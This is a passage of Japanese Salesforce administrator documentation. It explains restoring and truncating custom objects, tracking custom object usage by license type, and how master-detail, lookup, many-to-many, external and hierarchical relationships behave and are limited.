ようとすると、エラーになります。

メモ: これは、主レコードがごみ箱にあるときに、削除された従レコードのカスタムオブジェクト定
義が物理削除される場合にのみ発生します。

切り捨てられたカスタムオブジェクトの復元に関する制限
切り捨てられたカスタムオブジェクトのコピーも、削除されたオブジェクトのリストに表示されます。切り捨
てられたカスタムオブジェクトは、元の状態に復元できません。切り捨てられたオブジェクトの削除されてい
ないコピーには新しい名前と新しい URL が付けられ、一部の項目およびデータは手動で復元できません。

削除前の状態へのカスタムオブジェクトの復元
削除されたカスタムオブジェクトを復元すると、ごみ箱にあるものも含め、そのレコードも復元されます。
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メモ: 復元されたオブジェクトのレコードを検索できるようになるまでに数時間かかる場合があります。

完全に機能する、削除前の状態にオブジェクトを確実に戻すには、影響を受けるすべての条件とカスタマイズ
を確認し、必要に応じて手動で修正します。
AppExchange パッケージ

該当する Force.com AppExchange パッケージにカスタムオブジェクトを追加します。
カスタムタブ

オブジェクトにカスタムタブを再作成し、それを使用するカスタムアプリケーションに追加します。
リストビュー、レポート、およびワークフロールール

再作成します。
入力規則と承認プロセス

再度有効化します。
数式項目

オブジェクトでカスタム数式項目を開いてから保存して、それらを再度有効化します。
ページレイアウト

ページレイアウトは、復元されたオブジェクトで自動的に復元されます。また、オブジェクトの削除中に
ページレイアウトが編集されていない限り、ページレイアウトは関連リストのページレイアウトを使用す
る他のオブジェクトでも自動的に復元されます。それ以外の場合は、関連リストを他のオブジェクトに追
加し直す必要があります。

カスタムレポートタイプ
削除されたオブジェクトを主オブジェクトとしていないカスタムレポートタイプの場合は、復元されたオ
ブジェクトに参照を追加し直します。カスタムレポートタイプに基づくレポートがオブジェクトの削除中
に編集されていない場合は、自動的に復元されます。編集されたレポートについては、すべて再作成しま
す。

リレーション
削除されたカスタムオブジェクトが主従関係の従側になっている場合は、Salesforce により参照関係に変換
されます。それを主従関係に戻します。

API 参照名
オブジェクトの API 参照名は、objectname_del に変更されています。元の名前 objectname_c に戻して、
名前を使用するカスタマイズが正しく動作するようにします。

リリース状況
カスタムオブジェクトが削除されると、その [リリース状況]項目は「開発中」に設定されます。影響を受
けるすべてのカスタマイズを復元済みのオブジェクトに戻すときに、状況を「リリース済み」に戻します。

関連トピック:

カスタムオブジェクトの削除
カスタムオブジェクトの切り捨て
オブジェクト管理設定の検索
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カスタムオブジェクトの切り捨て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

オブジェクトの切り捨てを使用してレコードを削除する前に、オブジェクトの
切り捨ての実行内容について理解することが重要です。
カスタムオブジェクトの切り捨てでは、オブジェクトからすべてのレコードを
削除すると同時に、オブジェクトとそのメタデータをそのまま保持できます。
カスタムオブジェクトの切り捨ては標準オブジェクトで使用できる一括削除オ
プションに似ています。
カスタムオブジェクトを切り捨てると、オブジェクトからすべてのレコードが
完全に削除されますが、オブジェクトの定義は保持されます。レコードは組織
の制限にカウントされなくなります。
一方、カスタムオブジェクトを削除すると、そのオブジェクトは [削除済みオブ
ジェクト] リストに 15 日間保持されます。その後、オブジェクトとそのレコード
は完全に削除されます。

重要: 切り捨てられたカスタムオブジェクトは、元の状態に復元できませ
ん。

次に該当する標準オブジェクトまたはカスタムオブジェクトは切り捨てできません。
• 参照項目を使用して別のオブジェクトから参照されているか、主従関係の主側にある
• レポート作成スナップショットで参照されている
• カスタムインデックスまたは外部 ID がある
• 有効化されたスキニーテーブルがある
また、組織が有効なカスタムオブジェクトの最大数に達している場合は、カスタムオブジェクトを切り捨てる
ことができません。
カスタムオブジェクトを切り捨てると、次のものが消去されます。
• カスタムオブジェクトのごみ箱の中に現在あるすべてのレコード
• カスタムオブジェクトの履歴
• 削除された各レコードに関連する行動、ToDo、メモ、添付ファイル
カスタムオブジェクトを切り捨てると、次のものが機能しなくなります。
• 切り捨てられたオブジェクトとそのレコードへのブックマーク。切り捨てられたカスタムオブジェクトま

たは削除されたレコードの URL へのブックマークをクリックすると、Salesforce から「アクセス権がありませ
ん」というメッセージが表示されます。

• 切り捨てられたオブジェクトまたはレコードを参照する Apex スクリプトおよび Visualforce ページ
カスタムオブジェクトを切り捨てた後でも、カスタムオブジェクトを引き続き使用して新しいレコードを追加
できます。Salesforce では、次のものが保持されます。
• カスタムオブジェクト定義およびすべての関連定義
• ワークフロールール、アクション、トリガ
• カスタムオブジェクトに関連付けられた共有ルール
• 入力規則と承認プロセス
• 主従関係項目と数式項目
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• 翻訳
• モバイル設定
切り捨てられたオブジェクトを操作する場合、次の点に留意してください。
• 切り捨てられたオブジェクトのタブは新しい URL になるため、新しいブックマークを作成する必要があり

ます。
• 切り捨て後に、リストビューとレポートを更新する必要があります。
• 切り捨て後に、積み上げ集計項目を再計算する必要があります。
• API では、切り捨てはサポートされていません。
• 主従関係を含むオブジェクトを切り捨てるには、リレーションツリーの下から順に、従 (子) オブジェクト

を切り捨ててから主 (親) オブジェクトを切り捨てます。

関連トピック:

カスタムオブジェクトの切り捨て
削除されたカスタムオブジェクトの管理

カスタムオブジェクトの切り捨て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

カスタムオブジェクトを
切り捨てる
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトの切り捨てにより、オブジェクトのすべてのレコードを
完全に削除できます。ただし、空のオブジェクトとそのメタデータは保持され
ます。

重要: カスタムオブジェクトの切り捨てでは、切り捨てられたオブジェク
トおよびそのレコードに回復不可能な変更がいくつか行われます。切り捨
てる前に「カスタムオブジェクトの切り捨て」を参照してください。次
に、[クイック検索]ボックスに「ユーザインターフェース」と入力し、[ユー
ザインターフェース] を選択し、権限を選択して、組織で有効化します。

カスタムオブジェクトの切り捨ては、カスタムオブジェクトからすべてのレコー
ドを完全に削除すると同時に、その後使用するためにオブジェクトとそのメタ
データをそのまま保持できる迅速な方法です。切り捨ては、カスタムオブジェ
クトを作成してテストレコードを入力した場合などに役立ちます。テストデー
タでの作業が完了したら、オブジェクトを切り捨てることにより、テストレコー
ドを消去する一方で、オブジェクトを維持して本番環境で使用することができ
ます。この方法の方が、レコードを一括削除して、必要に応じて、オブジェク
トを再作成するよりはるかに迅速です。
1. カスタムオブジェクトのオブジェクト管理設定に移動します。
2. オブジェクト名をクリックしてオブジェクトの詳細ページに移動し、[切り捨

て] をクリックします。
3. [カスタムオブジェクト切り捨ての確認] ウィンドウで、警告を確認し、切り

捨てるオブジェクトの名前を空の項目に入力します。
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4. [切り捨て] をクリックします。

関連トピック:

削除されたカスタムオブジェクトの管理
オブジェクト管理設定の検索

組織のユーザライセンスの種類別カスタムオブジェクト利用状況の追跡

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

カスタムオブジェクトを
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムレポートタイプ
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

ユーザに割り当てられているカスタムオブジェクトの数を追跡するには、[ユー
ザライセンス] オブジェクトおよび [ユーザライセンス総計値別のカスタムオブ
ジェクト利用] オブジェクトを使用してカスタムレポートタイプを作成します。
1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択します。
2. [新規カスタムレポートタイプ] をクリックします。
3. 項目に入力します。

入力または選択する内容項目

ユーザライセンス主オブジェクト

このレポートタイプのラベル。ユー
ザがレポートを作成するときにラベ
ルが表示されます。
たとえば、「ユーザライセンス別のカ
スタムオブジェクト利用」と入力しま
す。

レポートタイプの表示ラベル

このレポートタイプの一意の名前。レポートタイプ名

このレポートタイプの説明。この説
明はユーザがレポートを作成すると
きに表示されます。

説明

その他のレポートカテゴリに格納

4. (省略可能) このレポートタイプを他のユーザが使用できるようにするには、
[リリース状況] で [リリース済み] を選択します。

5. [次へ] をクリックします。
6. 主オブジェクトの下のボックスをクリックします。
7. [ユーザライセンス総計値別のカスタムオブジェクト利用] を選択します。
8. [保存] をクリックします。
9. 新しいレポートタイプを使用してレポートを作成します。
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オブジェクトリレーションの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

オブジェクトを相互にリンクするリレーションを作成し、ユーザがレコードを
表示するときに関連データも参照できるようにします。たとえば、「Bugs」とい
う名前のカスタムオブジェクトをケースにリンクして、顧客のケースに関連付
けられた商品の欠陥を追跡します。
オブジェクトにカスタムリレーション項目を作成することにより、各種リレー
ションを定義できます。リレーションを作成する前に、自分のニーズに合うリ
レーションの種別を判断します。
Salesforce のオブジェクト間のさまざまな種別のリレーションにより、データの
削除、共有、ページレイアウトの必須項目の処理方法が決まります。では、リ
レーションの種別を確認しましょう。
主従関係

オブジェクトを密接にリンクして、主レコードが従レコードおよび副従レ
コードの特定動作を制御するようにします。たとえば、取引先の経費申請レ
ポートなど、2 つのオブジェクトの主従関係を定義するほか、取引先の経費
申請レポートの経費申請品目など、関係を副従レコードに拡張できます。主—従—副従の関係で操作を実
行できます。
主従関係は次のように動作します。
• 従レコードを削除すると、従レコードはごみ箱に移動しますが、主レコードはそのまま残ります。主レ

コードを削除すると、関連する従レコードおよび副従レコードも削除されます。従レコードを元に戻す
と従レコードが元に戻り、主レコードを元に戻すと従レコードおよび副従レコードも元に戻ります。た
だし、従レコードを後から削除し、その主レコードを別個に削除すると、参照する主レコードが存在し
なくなるため、従レコードを元に戻すことはできません。

• デフォルトでは、主従関係でレコードの親を変更することはできません。ただし、システム管理者は、
主従関係定義の [親の変更を許可] オプションを選択して、カスタムオブジェクトで主従関係にある子
レコードの親を別の親レコードに変更できます。

• 従レコードおよび副従レコードの [所有者] 項目は使用できません。この項目は、自動的に主レコード
の所有者に設定されます。主従関係の従側にあるカスタムオブジェクトでは、共有ルール、共有の直接
設定、またはキューを使用できません。これは、共有ルール、共有の直接設定、またはキューには [所
有者] 項目が必要なためです。

• 従レコードおよび副従レコードは、主レコードからセキュリティ設定と権限を継承します。従レコード
に独自に権限を設定することはできません。

• 従レコードおよび副従レコードのページレイアウトには、主従関係項目 (オブジェクトを関連付ける項
目) が必要です。

• 主オブジェクトは、取引先、商談などの標準オブジェクト、またはカスタムオブジェクトとなります。
• ベストプラクティスとして、主従関係で 10,000 件の子レコードを超過しないことをお勧めします。

多対多
主従関係を使用して、2 つのオブジェクト間で「多対多」リレーションモデルを形成することができます。
多対多リレーションでは、1 つのオブジェクトの各レコードを他のオブジェクトの複数のレコードにリンク
でき、またその逆のリンクも可能です。たとえば、「Bug」(バグ) という名前のカスタムオブジェクトを作
成し、1 つのバグを複数のケースに、また 1 つのケースを複数のバグに関連付けることができます。
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参照
2 つのオブジェクトをリンクします。参照関係は主従関係と似ていますが、項目の共有または積み上げ集計
項目はサポートしていません。参照関係には、次の機能があります。
• 2 つの異なるオブジェクトをリンクします。
• オブジェクトをそれ自体とリンクします (ユーザオブジェクトを除く。「階層」 (ページ5337)を参照)。た

とえば、「Bug」という名前のカスタムオブジェクトをそのオブジェクト自体とリンクして、同じ問題
に対する 2 つの異なるバグの関連を表します。

メモ: キャンペーンメンバーオブジェクトに関連するオブジェクトからの参照関係はサポートされて
いませんが、他のオブジェクトに関連するキャンペーンメンバーオブジェクトからの参照関係は作成
できます。

参照関係を作成するときは、次のオプションを設定できます。
• レコードの保存に必要な (対応するページレイアウトでも必要な) 参照項目作成します。
• 参照項目が省略可能である場合、参照レコードが削除されたときに発生する動作を次の 3 つの中から 1

つ指定できます。
– [この項目の値をクリアします] これはデフォルトです。項目に、関連付けられた参照レコードの値

を含める必要がない場合、その項目をクリアすることをお勧めします。
– [参照関係に含まれる参照レコードは削除できません] このオプションは、リレーションに構築された

ワークフロールールなどの連動関係がある場合に、参照レコードが削除されないように制限します。
– [このレコードも削除します] カスタムオブジェクトが標準オブジェクトに含まれる場合ではなく、

カスタムオブジェクトに参照関係が含まれる場合にのみ使用できます。ただし、参照オブジェクト
は標準またはカスタムのいずれかであることができます。参照項目とそれに関連付けられたレコー
ドが緊密に連動しており、関連データを完全に削除する場合に選択します。たとえば、個人経費レ
コードとの参照関係を含む経費レポートレコードを使用しているとします。そのレポートを削除す
るときは、経費レコードもすべて削除する必要がある可能性があります。

警告: [このレコードも削除します]を選択すると、カスケード削除が発生する場合があります。
カスケード削除はセキュリティと共有設定を無視するため、対象の参照レコードを削除したと
きに、アクセス権のないレコードも削除される場合があります。レコードが誤って削除されな
いようにするため、デフォルトではカスケード削除は無効になっています。組織でカスケード
削除オプションを有効にするには、Salesforce にお問い合わせください。
カスケード削除とその関連オプションは、営業時間、コミュニティ、リード、価格表、商品、
またはユーザオブジェクトとの参照関係には使用できません。

参照関係を定義するに当たっては、オブジェクトのページレイアウトで参照項目を含めるオプションと、
関連するオブジェクトのページレイアウトで関連リストを作成するオプションがあります。たとえば、
「PTO Request」という名前のカスタムオブジェクトがあり、PTO 申請とそれを申請する従業員とをリンクす
る場合には、そのユーザオブジェクトを持つ PTO 申請カスタムオブジェクトから参照関係を作成します。
ルックアップリレーションの親レコードが削除されても、子レコードの項目履歴管理には削除は記録され
ません。たとえば、親取引先が削除されても、子取引先の [取引先履歴] 関連リストに削除は記載されませ
ん。
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2 つのリンクされたオブジェクトの合計レコード数が 100,000 件を超える場合、参照関係のオブジェクトま
たはレコードを削除できません。参照関係のオブジェクトまたはレコードを削除するには、まず、適切な
数の子レコードを削除する必要があります。

外部参照
外部参照関係は、子の標準、カスタム、または外部オブジェクトを親の外部オブジェクトにリンクします。
外部参照関係項目を作成すると、親の外部オブジェクトの標準外部 ID 項目が子の外部参照関係項目の値と
照合されます。外部オブジェクト項目値は、外部データソースから発生しています。

間接参照
間接参照関係は、子の外部オブジェクトを親の標準またはカスタムオブジェクトにリンクします。間接参
照関係項目を外部オブジェクトに作成するとき、親オブジェクト項目と子オブジェクト項目を指定して、
リレーションのレコードを照合し、関連付けます。具体的には、外部データソースから値が発生する子の
間接参照関係項目と照合する、親オブジェクトの一意のカスタム外部 ID 項目を選択します。

階層
ユーザオブジェクトにのみ使用できる特殊な参照関係です。この参照関係により、参照項目を使用して、
ユーザを、自分自身を直接的にも間接的にも参照しない別のユーザと関連付けることができます。たとえ
ば、各ユーザの直属マネージャを格納するカスタム階層項目を作成できます。

ヒント:  Personal Edition、Contact Manager Edition、Group Edition、および Professional Edition で階層項目を作成
するとき、[項目の編集制限] チェックボックスをオンにすると、「内部ユーザの管理」権限を持つ
ユーザだけがその項目を編集できるようになります。Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition の場合は、代わりに項目レベルセキュリティを使用
します。

多対多リレーションの作成
リレーションの考慮事項

関連トピック:

リレーションの考慮事項
外部オブジェクトリレーション
多対多リレーションの作成
カスタムオブジェクトの定義
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多対多リレーションの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

レポートはDatabase.com
Edition では使用できませ
ん。

ユーザ権限

多対多リレーションを作
成する
• 「アプリケーションの

カスタマイズ」

主従関係を使用して、2 つのオブジェクト間で「多対多」リレーションモデルを
形成することができます。多対多リレーションでは、1 つのオブジェクトの各レ
コードを他のオブジェクトの複数のレコードにリンクでき、またその逆のリン
クも可能です。たとえば、「Bug」(バグ) という名前のカスタムオブジェクトを
作成し、1 つのバグを複数のケースに、また 1 つのケースを複数のバグに関連付
けることができます。多対多リレーションをモデル化するとき、「連結オブジェ
クト」を使用して相互に関連付ける 2 つのオブジェクトを接続します。
連結オブジェクト

2 つの主従関係を持つカスタムオブジェクトです。カスタム連結オブジェク
トを使用して、2 つのオブジェクト間の「多対多」リレーションをモデル化
できます。たとえば、「バグ」という名前のカスタムオブジェクトを作成
し、1 つのバグを複数のケースに、また 1 つのケースを複数のバグに関連付
けることができます。

多対多リレーションを作成する手順は、次のとおりです。
1. 連結オブジェクトを作成する。
2. 2 つの主従関係を作成する。
3. 2 つの主オブジェクトのページレイアウトで、関連リストをカスタマイズす

る。
4. レポートをカスタマイズして、多対多リレーションの効果を最大化する。

連結オブジェクトの作成
1. 連結オブジェクトになるカスタムオブジェクトを作成します。
2. カスタムオブジェクトウィザードでは、連結オブジェクトを作成する場合に

次のヒントを考慮してください。
• 「BugCaseAssociation」(バグ/ケース関係) など、目的を示す表示ラベルでオブジェクトに名前を付

けます。
• [レコード名] 項目は、自動採番データ型の使用をお勧めします。
• [保存]時にカスタムタブウィザードを起動しないでしてください。連結オブジェクトには、タブは必要

ありません。

2 つの主従関係の作成
2 つの主従関係を作成する手順は、次のとおりです。
1. 相互に関連付ける 2 つのオブジェクトがすでに存在することを確認します。たとえば、標準オブジェクト

のケースを「Bug」カスタムオブジェクトに関連付ける場合、「Bug」オブジェクトが存在することを確認
します。

2. 連結オブジェクトで、第 1 の主従関係項目を作成します。カスタム項目ウィザードで、次の処理を行いま
す。
a. データ型として、[主従関係] を選択します。

5338

組織固有の情報の保存コードではなくてクリックによる Salesforce の拡張



b. 連結オブジェクトに関連付けるオブジェクトを 1 つ選択します。たとえば、[ケース] を選択します。
連結オブジェクト上で作成する最初の主従関係が、「プライマリ」リレーションになります。これは、
連結オブジェクトのレコードの次の点に影響します。
• デザイン: 連結オブジェクトの詳細ページと編集ページでは、プライマリ主オブジェクトの色とアイ

コンを使用します。
• レコード所有権: 連結オブジェクトのレコードは、プライマリ主オブジェクトのレコードの [所有者]

項目の値を継承します。主従関係の従オブジェクトには、参照可能な [所有者]項目がないため、後
で連結オブジェクトの両方の主従関係を削除した場合、これが唯一の関連になります。

• ディビジョン: 組織でディビジョンを使用してデータを分類している場合、連結オブジェクトのレ
コードは、プライマリ主オブジェクトのレコードからディビジョンを継承します。レコード所有権
と同様、後で連結オブジェクトの両方の主従関係を削除した場合、これが唯一の関連になります。

c. [共有設定] オプションを選択します。主従関係項目の場合、子レコードの作成、編集または削除を行
うために必要な親レコードの共有アクセス権は、[共有設定] 選択肢によって決まります。

d. 主オブジェクトのページレイアウトに表示される [関連リストの表示ラベル] では、デフォルト値をそ
のまま使用しないでください。多対多リレーションの他方の主オブジェクトの名前を使うように変更し
てください。たとえば、これを「Bugs」に変更すると、ユーザにはこのケース詳細ページに [Bugs (バグ)]

関連リストが表示されます。

3. 連結オブジェクトで、第 2 の主従関係を作成します。カスタム項目ウィザードで、次の処理を行います。
a. データ型として、[主従関係] を選択します。
b. 連結オブジェクトに関連付けるもう一つの主オブジェクトを選択します。たとえば、[Bug (バグ)] を

選択します。
連結オブジェクトで作成する第 2 の主従関係は、「セカンダリ」の関係になります。プライマリの主従
関係を削除するか参照関係に変換すると、セカンダリの主オブジェクトが「プライマリ」になります。

c. [共有設定] オプションを選択します。主従関係項目の場合、子レコードの作成、編集または削除を行
うために必要な親レコードの共有アクセス権は、[共有設定] 選択肢によって決まります。

d. 主オブジェクトのページレイアウトに表示される [関連リストの表示ラベル] では、デフォルト値をそ
のまま使用しないでください。多対多リレーションの他方の主オブジェクトの名前を使うように変更し
てください。たとえば、これを [ケース] に変更すると、ユーザには Bug 詳細ページに [ケース] 関連リ
ストが表示されます。

多対多リレーション関連リストのカスタマイズ
Salesforceの多対多リレーションでは、両方の主オブジェクトのレコード詳細ページに連結オブジェクトの関連
リストを表示します。連結オブジェクトの存在をユーザにわからないようにするため、主オブジェクトのそれ
ぞれのページレイアウトで他方の主オブジェクトの名前を表示するように連結オブジェクト関連リストの名前
を変更することができます。たとえば、[BugCaseAssociations (バグ/ケース関係)] 関連リストを、Bugs ページレイ
アウトでは「ケース」に、ケースページレイアウトでは「Bugs」に変更します。これらの関連リストをさらに
カスタマイズし、他方の主オブジェクトの項目を表示することができます。
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それぞれの主オブジェクトのページレイアウトで連結オブジェクト関連リストに表示される項目をカスタマイ
ズする手順は、次のとおりです。
1. 連結オブジェクトの主オブジェクトのページレイアウトを編集します。たとえば、ケースレコードの

[BugCaseAssociations (バグ/ケース関係)] 関連リストを変更するには、ケースのページレイアウトを編集しま
す。

2. 変更する関連リストのプロパティを編集します。たとえば、ケースでは、[BugCaseAssociations (バグ/ケース
関係)] 関連リストの名前が「Bugs」に変更されたため、[Bugs (バグ)] 関連リストを選択します。

3. 関連リストで表示する項目を追加します。連結オブジェクトの項目に加えて、他方の主オブジェクトの項
目も追加することができます。
ポップアップウィンドウでは、各項目にプレフィックスとしてオブジェクト名が付きます。関連リスト内
では、連結オブジェクトの項目のみにオブジェクト名のプレフィックスが付きます。他方の主オブジェク
トの項目にはプレフィックスは付きません。

メモ: 連結オブジェクトにカスタムタブを設定していないため、連結オブジェクト関連リストにはアイコ
ンが表示されません。連結オブジェクトにタブを作成すると、アイコンが表示されます。

多対多リレーションのレポートのカスタマイズ
多対多リレーションには、主オブジェクトと連結オブジェクトを結合した 2 つの標準レポートタイプが用意さ
れています。レポートタイプは次のとおりです。
• プライマリ主オブジェクトのレポートカテゴリにある「連結オブジェクトとセカンダリオブジェクトが関

連するプライマリオブジェクト」
• セカンダリ主オブジェクトのレポートカテゴリにある「連結オブジェクトとプライマリオブジェクトが関

連するセカンダリオブジェクト」
レポートタイプの主オブジェクトの順序は重要です。先に表示される主オブジェクトによって、レポートに表
示されるレコードの範囲が決まります。
これらの標準レポートタイプを使用して、カスタムレポートを作成できます。また、カスタムレポートタイプ
を作成して、レポートでどの関連オブジェクトを結合するかをカスタマイズできます。

関連トピック:

オブジェクト管理設定の検索
オブジェクトリレーションの概要
リレーションの考慮事項
カスタムオブジェクトの定義
オブジェクト管理設定の検索
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リレーションの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

オブジェクト間にリレーションを作成する前に、次の考慮事項を確認します。
リレーションの制限

各カスタムオブジェクトで作成できる主従関係は 2 つまで、参照関係は多数
作成できます。それぞれのリレーションは、規定されているカスタム項目の
最大数に計数されます。

リレーションの変換
主オブジェクトに積み上げ集計項目がない場合は、「主従関係」を「参照関
係」に変換できます。
「参照関係」も「主従関係」に変換できますが、すべてのレコードの参照項
目に値が含まれている場合に限られます。

自己参照
オブジェクトからそのオブジェクト自身にリレーションを作成することはで
きますが、参照関係である必要があります。また、レコードはレコード自身
にリンクすることはできません。ただし、レコードは間接的にそれ自身に関
連付けることができます。たとえば、[休日プロモーション] キャンペーンに、
参照関係で選択した [ダイレクトメール] キャンペーンを持たせ、[ダイレクト
メール] キャンペーンも、参照関係で選択した [休日プロモーション] キャン
ペーンを持つことができます。
多対多の自己参照は作成できません。つまり、連結オブジェクトの 2 つの主
従関係には、同じ主オブジェクトがあってはいけません。

カスタム関連リストのアイコン
関連するカスタムタブ用に選択したアイコンは、リレーションに基づいて作
成したすべてのカスタム関連リストに表示されます。
カスタムタブを持たないカスタムオブジェクトとのリレーションに基づいている場合には、カスタム関連
リストにアイコンが表示されません。

主従関係
マルチレベルの主従関係を作成するには、「アプリケーションのカスタマイズ」ユーザ権限が必要です。
主従関係を定義すると、その時点で作業をしているカスタムオブジェクトが「従」側になります。そのオ
ブジェクトのデータは、他のオブジェクトのページレイアウトのカスタム関連リストとして表示されます。
デフォルトでは、主従関係でレコードの親を変更することはできません。ただし、システム管理者は、主
従関係定義の [親の変更を許可]オプションを選択して、カスタムオブジェクトで主従関係にある子レコー
ドの親を別の親レコードに変更できます。
カスタム詳細レベルを最大 3 つまで設定できます。
標準オブジェクトは、主従関係にあるカスタムオブジェクトの従側であってはいけません。
オブジェクトは、マルチレベルの主従関係において一度だけ現れることができます。たとえば、マルチレ
ベルの主従関係の副従オブジェクトは、別の主従関係の主オブジェクトの所有者であってはいけません。
副従オブジェクトは、副従オブジェクトの従オブジェクトの主オブジェクトであってはいけません。
マルチレベルの主従関係では、ディビジョンの移行はサポートされません。
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カスタムオブジェクトにすでにデータが含まれる場合、主従関係を作成することはできません。ただし、
すべてのレコードの参照項目に値が含まれている場合には、リレーションを参照関係として作成してから、
それを主従関係に変換できます。
関係を参照から主従関係に、または主従関係から参照に変換すると、2 つのオブジェクトの主従関係と同じ
ように動作します。つまり、従副従 1 または副従 1-副従 2 の関係でリンクした 2 つのオブジェクトには、主
従関係と同じ変換制限があります。
積み上げ集計項目は 2 つの主従関係として機能します。主は従レコードで項目を積み上げ集計できますが、
副従レコードでは項目を直接積み上げ集計できません。これを実行するために、従レコードには副従レコー
ドの項目の積み上げ集計項目が必要です。これにより、主側は従側の積み上げ集計項目から積み上げるこ
とができます。
カスタムレポートタイプでマルチレベルの主従関係を使用できます。カスタムオブジェクトを作成する場
合、[レポートを許可] チェックボックスをオンにする必要があります。マルチレベルの主従関係に作成さ
れたカスタムレポートタイプは、組織のカスタムレポートタイプの制限に対してカウントされ、制限を超
えた場合、レポートは生成されません。
カスタム連結オブジェクトは、従オブジェクトを持つことはできません。つまり、カスタム連結オブジェ
クトは、マルチレベルの主従関係で主オブジェクトになることはできません。
カスタムオブジェクトが主従関係の主側である場合、そのオブジェクトは削除できません。主従関係の従
側になっているカスタムオブジェクトを削除すると、主従関係が参照関係に変換されます。
従レコードを削除すると、従レコードはごみ箱に移動しますが、主レコードはそのまま残ります。主レコー
ドを削除すると、関連する従レコードおよび副従レコードも削除されます。従レコードを元に戻すと従レ
コードが元に戻り、主レコードを元に戻すと従レコードおよび副従レコードも元に戻ります。ただし、従
レコードを後から削除し、その主レコードを別個に削除すると、参照する主レコードが存在しなくなるた
め、従レコードを元に戻すことはできません。
ベストプラクティスとして、主従関係で 10,000 件の子レコードを超過しないことをお勧めします。

多対多リレーション
どちらかのマスタレコードが削除されると、連結オブジェクトのレコードが削除され、ごみ箱に格納され
ます。関連する両方の主レコードが削除された場合、連結オブジェクトレコードは完全に削除され、復元
することはできません。
連結オブジェクトのレコードへの共有アクセス権は、ユーザの両方のマスタレコードへのアクセス権と、
[共有設定]オプションによって決まります。「カスタムオブジェクトのセキュリティ」 (ページ5349)を参照
してください。たとえば、主従関係の共有設定オプションで両方の親オブジェクトに対して「参照・更新」
権限を要求している場合、連結オブジェクトに対する「参照・更新」権限を持つには両方の親レコードに
対して「参照・更新」アクセス権を持つ必要があります。一方、両方の主従関係の共有設定オプションが
「参照のみ」ならば、親レコードに対して「参照」権限を持つユーザは、連結オブジェクトに対して「参
照・更新」アクセス権を持つことになります。
多対多のリレーションにおいて、関連する連結オブジェクトのレコードが 200 を超えていて、かつ、他方
の親オブジェクトで連結オブジェクトを対象とする積み上げ集計項目が作成されている場合は、親レコー
ドを削除できません。このオブジェクトを削除するには、連結オブジェクトのレコード数が 200 を下回る
まで手動でレコードを削除します。
連結オブジェクト上で作成する最初の主従関係が、「プライマリ」リレーションになります。これは、連
結オブジェクトのレコードの次の点に影響します。
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• デザイン: 連結オブジェクトの詳細ページと編集ページでは、プライマリ主オブジェクトの色とアイコ
ンを使用します。

• レコード所有権: 連結オブジェクトのレコードは、プライマリ主オブジェクトのレコードの [所有者]項
目の値を継承します。主従関係の従オブジェクトには、参照可能な [所有者] 項目がないため、後で連
結オブジェクトの両方の主従関係を削除した場合、これが唯一の関連になります。

• ディビジョン: 組織でディビジョンを使用してデータを分類している場合、連結オブジェクトのレコー
ドは、プライマリ主オブジェクトのレコードからディビジョンを継承します。レコード所有権と同様、
後で連結オブジェクトの両方の主従関係を削除した場合、これが唯一の関連になります。

連結オブジェクトで作成する第 2 の主従関係は、「セカンダリ」の関係になります。プライマリの主従関
係を削除するか参照関係に変換すると、セカンダリの主オブジェクトが「プライマリ」になります。
両方の主オブジェクトに、連結オブジェクトのデータを集計する積み上げ集計項目を作成できます。
連結オブジェクトの数式項目と入力規則で、両方の主オブジェクトの項目を参照できます。
主オブジェクトと連結オブジェクトの両方で、Apex トリガを定義できます。
連結オブジェクトは、別の主従関係の主側であってはいけません。
多対多の自己参照は作成できません。つまり、連結オブジェクトの 2 つの主従関係には、同じ主オブジェ
クトがあってはいけません。

参照関係
参照項目が省略可能である場合、参照レコードが削除されたときに発生する動作を次の 3 つの中から 1 つ
指定できます。
• [この項目の値をクリアします]これはデフォルトです。項目に、関連付けられた参照レコードの値を含

める必要がない場合、その項目をクリアすることをお勧めします。
• [参照関係に含まれる参照レコードは削除できません]このオプションは、リレーションに構築されたワー

クフロールールなどの連動関係がある場合に、参照レコードが削除されないように制限します。
• [このレコードも削除します]カスタムオブジェクトが標準オブジェクトに含まれる場合ではなく、カス

タムオブジェクトに参照関係が含まれる場合にのみ使用できます。ただし、参照オブジェクトは標準ま
たはカスタムのいずれかであることができます。参照項目とそれに関連付けられたレコードが緊密に連
動しており、関連データを完全に削除する場合に選択します。

警告: [このレコードも削除します] を選択すると、カスケード削除が発生する場合があります。カ
スケード削除はセキュリティと共有設定を無視するため、対象の参照レコードを削除したときに、
アクセス権のないレコードも削除される場合があります。レコードが誤って削除されないようにす
